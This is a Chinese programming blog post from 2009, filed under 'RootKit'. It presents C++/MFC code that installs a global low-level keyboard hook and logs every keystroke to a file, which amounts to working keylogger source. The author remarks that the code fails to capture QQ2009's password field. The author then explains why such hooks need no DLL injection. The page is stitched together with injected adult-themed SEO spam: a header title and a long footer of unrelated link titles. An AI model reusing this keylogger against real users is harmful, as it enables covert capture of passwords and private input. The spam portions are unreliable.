青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

About ShutDown of Windows(三)

Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(188) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
接著 About ShutDown of Windows(二) ?繼續(xù),將代碼繼續(xù)改進

HHOOK?g_Hook;

LRESULT?CALLBACK?MyKeyHook(
int?code,?WPARAM?wParam,?LPARAM?lParam)
{
#if?(_WIN32_WINNT?<?0x0400)
/*
?*?Structure?used?by?WH_KEYBOARD_LL
?
*/
typedef?
struct?tagKBDLLHOOKSTRUCT?{
????DWORD???vkCode;
????DWORD???scanCode;
????DWORD???flags;
????DWORD???time;
????DWORD???dwExtraInfo;
}?KBDLLHOOKSTRUCT,?FAR?
*LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
#endif

????PKBDLLHOOKSTRUCT?kbDLLHOOK?
=?(PKBDLLHOOKSTRUCT)lParam;
????
????
const?char?*info?=?NULL;
????
????
if?(wParam?==?WM_KEYDOWN)
????????info?
=?"key?down";????
????
else?if?(wParam?==?WM_KEYUP)
????????info?
=?"key?up";
????
else?if?(wParam?==?WM_SYSKEYDOWN)
????????info?
=?"sys?key?down";????
????
else?if?(wParam?==?WM_SYSKEYUP)
????????info?
=?"sys?key?up";

????FILE
*?f?=?fopen("hook.txt",?"a+");

????CString?strLog;
????strLog.Format(
"%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

????fwrite(strLog,?
1,?strLog.GetLength(),?f);
????fclose(f);

????
//?always?call?next?hook
????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
}??????

BOOL?CHookTestDlg::OnInitDialog()
{
????CDialog::OnInitDialog();

????
//?Add?"About"?menu?item?to?system?menu.

????
//?IDM_ABOUTBOX?must?be?in?the?system?command?range.
????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
????ASSERT(IDM_ABOUTBOX?
<?0xF000);

????CMenu
*?pSysMenu?=?GetSystemMenu(FALSE);
????
if?(pSysMenu?!=?NULL)
????{
????????CString?strAboutMenu;
????????strAboutMenu.LoadString(IDS_ABOUTBOX);
????????
if?(!strAboutMenu.IsEmpty())
????????{
????????????pSysMenu
->AppendMenu(MF_SEPARATOR);
????????????pSysMenu
->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
????????}
????}

????
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
????
//??when?the?application's?main?window?is?not?a?dialog
????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
????
????
//?TODO:?Add?extra?initialization?here
#ifndef?WH_KEYBOARD_LL
????
#define?WH_KEYBOARD_LL?13
#endif
????
????g_Hook?
=?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
????
????
if(?g_Hook?==?NULL?)
????????AfxMessageBox(
"Failed?to?Set?Hook");
????
????
return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
}

已經(jīng)實現(xiàn)了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

MSDN的解釋
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數(shù)的調(diào)用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數(shù)就在哪個線程中執(zhí)行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久久久久久性| 欧美一级免费视频| 欧美日韩调教| 欧美视频在线一区| 国产精品99免视看9| 欧美日韩直播| 国产精品久久久久77777| 国产精品家教| 国产一在线精品一区在线观看| 国产欧美视频在线观看| 韩国免费一区| 亚洲毛片在线观看| 午夜精彩国产免费不卡不顿大片| 久久都是精品| 老司机亚洲精品| 91久久精品国产91久久性色tv| 亚洲黄色大片| 亚洲一区二区三区四区视频| 午夜精品久久久久久99热软件| 久久久精品国产免大香伊| 久久一区二区三区四区五区| 欧美精品一区二区高清在线观看| 国产精品久久久久国产a级| 国产主播一区二区| 亚洲视频欧洲视频| 久久久久久久久久久一区 | 亚洲精品国产精品国产自| 一本到12不卡视频在线dvd| 欧美一区二区三区在线观看| 免费成人小视频| 亚洲一区二区三区777| 韩国av一区二区| 亚洲第一福利社区| 久久伊人免费视频| 欧美日韩精品免费观看| 国产日韩一区二区三区| 99国产精品久久| 久久综合伊人77777蜜臀| 亚洲精品久久久久中文字幕欢迎你| 午夜精品视频在线| 国产精品久久久久高潮| 野花国产精品入口| 久热爱精品视频线路一| 亚洲一级片在线看| 欧美日韩日韩| 日韩视频在线免费| 亚洲国产高清在线| 精品成人在线| 欧美专区亚洲专区| 亚洲欧美日韩国产另类专区| 欧美日本中文| 一区二区三区四区五区精品| 亚洲国产欧美一区二区三区同亚洲| 欧美在线中文字幕| 国产一区二区av| 久久精品亚洲| 欧美中文日韩| 国产欧美在线看| 久久国产精品免费一区| 欧美一区二区高清| 国产在线欧美| 巨乳诱惑日韩免费av| 久久激情中文| 在线观看精品| 欧美高清自拍一区| 欧美sm视频| 亚洲精品美女在线观看| 欧美国产视频一区二区| 免费一级欧美在线大片| 亚洲国产欧美日韩精品| 欧美国产精品中文字幕| 欧美激情在线| 9l视频自拍蝌蚪9l视频成人| 91久久嫩草影院一区二区| 欧美日韩精品免费观看视频| 亚洲专区国产精品| 亚洲欧美国产另类| 黄色精品一二区| 欧美激情亚洲激情| 欧美日本高清视频| 欧美在线啊v| 久久久精品国产免大香伊| 亚洲精品国久久99热| 日韩视频精品| 国产日韩欧美另类| 欧美国产第一页| 欧美日韩精品系列| 欧美一区2区视频在线观看| 欧美在线中文字幕| 亚洲日韩视频| 午夜在线观看免费一区| 日韩视频在线一区二区三区| 久久精品欧美| 亚洲国产一区二区三区高清| 亚洲高清在线播放| 国产精品入口日韩视频大尺度| 欧美在线视频一区二区三区| 狼狼综合久久久久综合网| 亚洲视频电影图片偷拍一区| 欧美在线网站| 亚洲制服欧美中文字幕中文字幕| 欧美亚洲综合在线| 一本久道久久综合狠狠爱| 午夜一区不卡| 一区二区三区久久久| 久久不射2019中文字幕| 亚洲一区久久久| 免费视频亚洲| 久久久久久久久久久一区 | 亚洲国产视频直播| 亚洲一区在线播放| 一本色道久久综合狠狠躁篇怎么玩 | 久久综合精品一区| 亚洲一区二区三区在线播放| 久久9热精品视频| 一级成人国产| 模特精品在线| 久久高清一区| 国产精品每日更新在线播放网址| 欧美 日韩 国产 一区| 国产精品日韩精品| 9l国产精品久久久久麻豆| 亚洲高清二区| 久久精品免费播放| 久久久精彩视频| 国产女人精品视频| 9i看片成人免费高清| 日韩天堂av| 久久亚洲精品一区二区| 久久久久久9999| 国产一区二区毛片| 欧美一区二区视频97| 久久国产精品99国产| 欧美性色aⅴ视频一区日韩精品| 91久久极品少妇xxxxⅹ软件| 最新中文字幕一区二区三区| 久久久精品动漫| 欧美成人午夜视频| 亚洲激精日韩激精欧美精品| 噜噜噜噜噜久久久久久91 | 国产亚洲精品v| 午夜精品久久久久久99热| 性久久久久久久久久久久| 国产精品人人做人人爽人人添| 欧美午夜不卡视频| 亚洲精品久久久蜜桃| 亚洲欧洲一区二区三区在线观看| 久久久久9999亚洲精品| 久久蜜桃资源一区二区老牛| 国产日韩欧美精品综合| 欧美资源在线观看| 免播放器亚洲| 亚洲精品在线二区| 欧美视频中文字幕| 亚洲综合电影| 久久久久国内| 亚洲精品网站在线播放gif| 欧美精品一区二区精品网| 亚洲精品一区二区网址| 亚洲免费影院| 国内精品**久久毛片app| 久久久精品五月天| 亚洲国产精品黑人久久久| 一区二区欧美国产| 国产精品一区二区久久精品| 久久狠狠婷婷| 亚洲黄色小视频| 午夜精品久久久久久久蜜桃app| 国产亚洲女人久久久久毛片| 久久婷婷激情| 亚洲最新合集| 亚洲一区三区电影在线观看| 91久久精品一区| 久久久av网站| 亚洲欧洲日夜超级视频| 亚洲欧美日韩精品久久奇米色影视 | 久久夜色精品国产| 亚洲精品一区二区三区四区高清| 欧美性猛交xxxx免费看久久久| 欧美在线在线| aa级大片欧美三级| 久久精精品视频| 亚洲人成久久| 国产主播一区二区| 欧美午夜电影在线观看| 久久人人97超碰国产公开结果| 99精品久久免费看蜜臀剧情介绍| 欧美一区二区三区在线观看视频| 亚洲精品黄色| 极品尤物一区二区三区| 欧美午夜在线| 欧美久久久久久蜜桃| 久久亚洲精品伦理| 久久丁香综合五月国产三级网站| 久久视频精品在线| 日韩午夜激情av| 欧美国产亚洲视频| 另类天堂视频在线观看| 亚洲欧美在线免费观看| 亚洲精品在线看|